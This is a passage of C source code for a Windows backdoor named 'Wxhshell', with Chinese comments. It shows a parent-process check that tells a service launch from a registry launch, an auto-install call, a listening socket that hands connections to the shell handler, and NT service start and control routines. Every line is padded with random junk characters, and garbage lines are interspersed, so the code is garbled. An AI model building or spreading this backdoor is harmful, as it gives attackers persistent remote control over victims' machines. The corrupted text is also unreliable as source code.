DWORD AffinityMask; x~1.;dBF
DWORD BasePriority; WOqAVd\
ULONG UniqueProcessId; WZ}je!82
ULONG InheritedFromUniqueProcessId; HqM>K*XKU
} PROCESS_BASIC_INFORMATION; ~yacJU=
: (IPrQ
PROCNTQSIP NtQueryInformationProcess; BC!n;IAe
MV8Lk/zd?A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WH:[Y7D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cfZG3"
KKMzhvf]#
HANDLE hProcess; epz'GN]V
PROCESS_BASIC_INFORMATION pbi; 85;hs
Q
I!c= :u
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nT7{`aaQl
if(NULL == hInst ) return 0; [HEqMBX=;
n0nf;E
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e| AA7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g~q+a-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~vf&JH'!
z9> yg_Q
if (!NtQueryInformationProcess) return 0; 9{OH%bF
Eu%19s;u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oL?[9aww
if(!hProcess) return 0; t:A,pT3
00DWXGt20o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $#Mew:J
RX]x3-
CloseHandle(hProcess); $^&SEz
q\ihye
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7lP3\7wD@9
if(hProcess==NULL) return 0; fwR3=:5~
/t"p^9!^
HMODULE hMod; G'|Emu=4
char procName[255]; w8~J5XS
unsigned long cbNeeded; g 4n&k
p)
x.Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b0\'JZ
B@ab[dm280
CloseHandle(hProcess); iEDZ\\,
H<$.AC\zn
if(strstr(procName,"services")) return 1; // 以服务启动 G5^gwG+
WZ.d"EE"
return 0; // 注册表启动 3F%Qq7v
} j
s(E-d/
Bjg 21bw^
// 主模块 9&'I?D&8
int StartWxhshell(LPSTR lpCmdLine) , N:'Z
{ ,gU%%>-_~w
SOCKET wsl; |
?6wlf
BOOL val=TRUE; Q:iW k6
int port=0; 4SG22$7 W
struct sockaddr_in door; C:tA|<b|
P\ yt!S2
if(wscfg.ws_autoins) Install(); Y`FGD25`
,v"/3Ff{,
port=atoi(lpCmdLine); ++KY+j.^
vS~y~ uU%6
if(port<=0) port=wscfg.ws_port; JOj\#!\>k0
X,- '
v[z
WSADATA data; Z&mV1dxR
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NJYx.TL
uO$ujbWZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qZ!1>`B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \!UNale
door.sin_family = AF_INET; S"|sD|xOb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M/U$x /3K
door.sin_port = htons(port); &}Y_EHj}
%iPu51+=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q9K+k*?{N
closesocket(wsl); 0F'75
return 1; CK
e
} ]{9oB-;,
^qpa[6D6x
if(listen(wsl,2) == INVALID_SOCKET) { vOYcS$,^X%
closesocket(wsl); .js4)$W^
return 1; '-#6;_ i<
} +n(H"I7cU
Wxhshell(wsl); ,2>:h"^
WSACleanup(); 0w >DU^+
lwH&4K
return 0; Q^Ln`zMe
?`F")y
} 6'C!Au
#( nheL
// 以NT服务方式启动 X$JO<@x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {nQ}t
}B
{ 1A23G$D
DWORD status = 0; V mQ7M4j*
DWORD specificError = 0xfffffff; z(<
E %
f{e*R#+&
serviceStatus.dwServiceType = SERVICE_WIN32; 7YbI|~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q:+Y-&||"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K*J8(/WkD
serviceStatus.dwWin32ExitCode = 0; D<7S
P,D
serviceStatus.dwServiceSpecificExitCode = 0; OU=9fw
serviceStatus.dwCheckPoint = 0; $52Te3n
serviceStatus.dwWaitHint = 0; RCt)qh+
@"9y\1u
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e,E;\x
&
if (hServiceStatusHandle==0) return; ^a`zvrE
v
Xi5kE'_
status = GetLastError(); [ hj|8)
if (status!=NO_ERROR) w8%yX$<
{ v\Y;)/!
serviceStatus.dwCurrentState = SERVICE_STOPPED; '$)Wp_
serviceStatus.dwCheckPoint = 0; mxHNK4/
serviceStatus.dwWaitHint = 0; _}]o~
serviceStatus.dwWin32ExitCode = status; 4\(;}M-R{
serviceStatus.dwServiceSpecificExitCode = specificError; 5q]u:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {s8''+Q#(-
return; 'D(Hqdr;:
} n#3y2,Ml
pmCBe6n\l
serviceStatus.dwCurrentState = SERVICE_RUNNING; i/xPO
serviceStatus.dwCheckPoint = 0; &3{:h
serviceStatus.dwWaitHint = 0; :kZ2N67
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p!'wOThO`
} z@y*
jT
$#4z>~0
// 处理NT服务事件,比如:启动、停止 "EpE!jh
VOID WINAPI NTServiceHandler(DWORD fdwControl) 17D167\X
{ }sy3Mrb
switch(fdwControl) LWbWj ^
{ :yT~.AK}>1
case SERVICE_CONTROL_STOP: gb(\c:yg1R
serviceStatus.dwWin32ExitCode = 0; v03~=(
serviceStatus.dwCurrentState = SERVICE_STOPPED; tBBN62^X
serviceStatus.dwCheckPoint = 0; (XqeX(s
serviceStatus.dwWaitHint = 0; Cu;X{F'H
{ q1dYiG.-Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5, Yk5?l<'
} v,>F0ofJ
return; tzpGKhrk6
case SERVICE_CONTROL_PAUSE: jo<